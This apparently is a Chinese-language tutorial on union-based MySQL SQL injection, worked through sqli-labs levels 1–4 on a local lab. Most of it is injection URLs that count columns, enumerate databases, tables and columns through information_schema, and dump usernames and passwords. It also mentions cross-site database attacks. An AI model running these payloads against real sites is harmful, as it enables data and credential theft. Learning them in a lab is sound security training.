Mysql数据库结构示例:
数据库A zblog = www.zblog.com
表名
列名(字段)
数据
数据库B dede = www.dede.com
表名
列名(字段)
数据
PS:
数据库A及B都属于Mysql数据库里面的
数据库用户:管理数据库的用户
级别:管理员用户名:root 普通用户:自定义(就相当于计算机的管理员账号和普通用户账号:可查看数据权限不同)
自带数据库:mysql数据库自带的(information_schema,test,performance_schema,mysql一个4个表)
用的较多的是information_schema数据库
比较特殊的是,information_schema数据库的表名下包含所有用户建立的数据库的数据库名,表名,列名,字段名等,其结构如下图
1.判断注入,2.获取数据库名,3.表名,列名等
存在注入判断: and 1=1(正确) and 1=2(错误)
数据库中存在and or xor(且或非)
真 且 真 = 真
真 且 假 = 假
真 或 假 = 真
补充:
联合查询:order by x union select 1,2,3
information_schema:自带数据库 mysql5.0以上版本自带,存储有mysql数据库下所有数据库里面的数据信息,包括数据库名,表名,列名等信息,所以我们根据查询它获取指定数据库下的表名及列名信息。
table_name: 表名
column_name:列名
table_schema:数据库名
information_schema.tables:存储表名信息的表
information_schema.columns:存储列名信息的表
information_schema.schemata:存储数据库名信息的表
mysql中符号“.”代表下一级
如:information_schema.tables:数据库information_schema下的tables表
user() 查询数据库用户
database() 查询数据库名
version() 查询数据库版本
@@version_compile_os 查询操作系统
获取数据库名:database() 报错显示
http://127.0.0.1:8080/sqlilabs/Less-1/?id=-2' union select 1,database(),3--+
获取表名:
获取数据库名security下面的表名信息
http://127.0.0.1:8080/sqlilabs/Less-1/?id=-2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
获取列名:
获取数据库名security下的表名users下面列名信息
http://127.0.0.1:8080/sqlilabs/Less-1/?id=-2' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security'--+
获取数据:
http://127.0.0.1:8080/sqlilabs/Less-1/?id=-2' union select 1,password,username from users limit 2,1--+
提示输入以数值为参数的id
后面加入?id=1
输出以上文字,说明有与数据库交互,输入?id=2
输入?id=1',这是字符型注入
源码有单引号,也说明了是字符型
且出现报错
这里为了方便查看自己输入的sql语句是带到数据库中是怎么样的,可以在代码中加入
echo "$sql
";
刷新一下页面
第一对单引号是报错语句的单引号,第二对是字符型的单引号,第三个是我们加进去的单引号。很明显,参数id是以字符串形式存在的,如果id参数是数值型,则只会出现左边1个单引号,右边2个单引号。
所以对于字符型注入,也要用?id=1'的单引号,因为为了输出我们后面写的语句,要先把php源码中id='$id'的单引号提前闭合掉,才能输出我们的关键语句
然后要进行数据库列查询( 因为要用到union select,所以必须查询列数,即UNION SELECT连接的每个语句必须有相同的字段数)
http://localhost/sqli-labs-master/Less-1/?id=1' order by 4 --+
后面加注释--+
提示不存在,说明不存在4列,往下数3
查询正确,说明表有3列
然后用上union联合查询,输入
localhost/sqli-labs-master/Less-1/?id=1' union select 1,2,3 --+
没变化,因为上图中黄色语句前半部分的select语句,是真,所以直接输出,而页面显示位只有两个,后面的union语句列数是3,所以是假,则直接不输出后面语句
要想输出后面的语句,则要把前面的语句变为假,比如id输入一个不存在的数,如id=-3,有输出:
可以看到,2和3的位置可以显示出来,所以我们可以在2和3的位置插入函数,如
localhost/sqli-labs-master/Less-1/?id=-3' union select 1,version(),database() --+
所以数据库版本和数据库名称就出来了
然后利用group_concat()函数可以一次性把数据库信息获取,输入:
http://localhost/sqli-labs-master/Less-1/?id=-3' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
把数据库的所有表名列出来了,如果把group函数去掉,就只会查询出一个表名
接下来把想要查询的表的列查询出来,输入:
http://localhost/sqli-labs-master/Less-1/?id=-3' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
输出:
注意:这里获取到的列名有两个password,是因为我们是从table_name='users'表名获取到的,而没有指定是哪个数据库,另外的数据库也有可能有users表,所以有重复的列名(查询是把所有数据库都遍历了),避免这种干扰因素可以这样做:加上限制条件and table_schema=database()就可以了
http://localhost/sqli-labs-master/Less-1/?id=-3' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema=database()--+
知道有列有username就可以把列的数据,全部查出来,输入:
http://localhost/sqli-labs-master/Less-1/?id=-3' union select 1,group_concat(username),3 from users--+
即从users表查询出全部username,输出:
如果把password也查出来,也为了美观,可以把3的位置替换掉,输入:
http://localhost/sqli-labs-master/Less-1/?id=-3' union select 1,group_concat(username),group_concat(password) from users--+
输出:
在实际情况中,我们挖洞不能像这样把所有的username和password一起搞出来,是犯法的,我们只能脱一两条数据出来证明有这个漏洞就可以了,在语句中要加上limit
limit子句用于限制查询结果返回的数量。
用法:【select * from tableName limit i,n 】
参数:
tableName : 为数据表;
i : 为查询结果的索引值(默认从0开始);
n : 为查询结果返回的数量
如:
http://localhost/sqlilabs/Less-1/?id=-2' union select 1,password,username from users limit 2,1--+
先看一下源代码
多了个括号,因为实际情况是开发人员有不同开发习惯,代码也不一样,对于这关,我们可以把括号闭合就可以报错注入了
http://localhost/sqlilabs/Less-3/?id=-1') order by 4--+
也可以这样:
?id=-1') union select 1,2,3 and ('1'='1
SELECT * FROM users WHERE id=('id=-1') union select 1,2,3 and ('1'='1') LIMIT 0, //原始命令
在第三关中,参数那里单引号外面还有一个括号,加个括号就行:
http://localhost/sqlilabs/Less-3/?id=-3') union select 1,version(),database() --+
在第四关中,参数那里是双引号外面还有一个括号
http://localhost/sqlilabs/Less-4/?id=-3") union select 1,version(),database() --+
没有单引号,所以是数字型
输入字符串不显示
判断字符型还是数字型方法:在id参数id=6lk(开头数字+字符串)报错了,就是数字型注入,因为字符型注入不会报错,会匹配到开头数字输出数据
mysql注入中的权限由数据库进行连接的用户决定,谁连接,拥有谁的权限
第二关中,可以用user()函数进行查询当前网站用户
http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1 union select 1,user(),3--+
查询出来是root用户,危害非常大
只能靠猜数据进行安全测试
跨库注入(旁站攻击,拿到该旁站root数据库账号,去搞到主站数据库),文件操作等
获取所有数据库名:
http://localhost/sqlilabs/Less-2/?id=-3 union select 1,group_concat(schema_name),3 from information_schema.schemata--+
获取指定数据库名dvwa的表名信息
http://localhost/sqlilabs/Less-2/?id=-3 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='dvwa'--+
获取指定表名users的列名信息
http://localhost/sqlilabs/Less-2/?id=-3 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='admin' and table_schema='injection'--+
获取指定数据avatar
http://localhost/sqlilabs/Less-2/?id=-3 union select 1,avatar,3 from dvwa.users
手机扫一扫
移动阅读更方便
你可能感兴趣的文章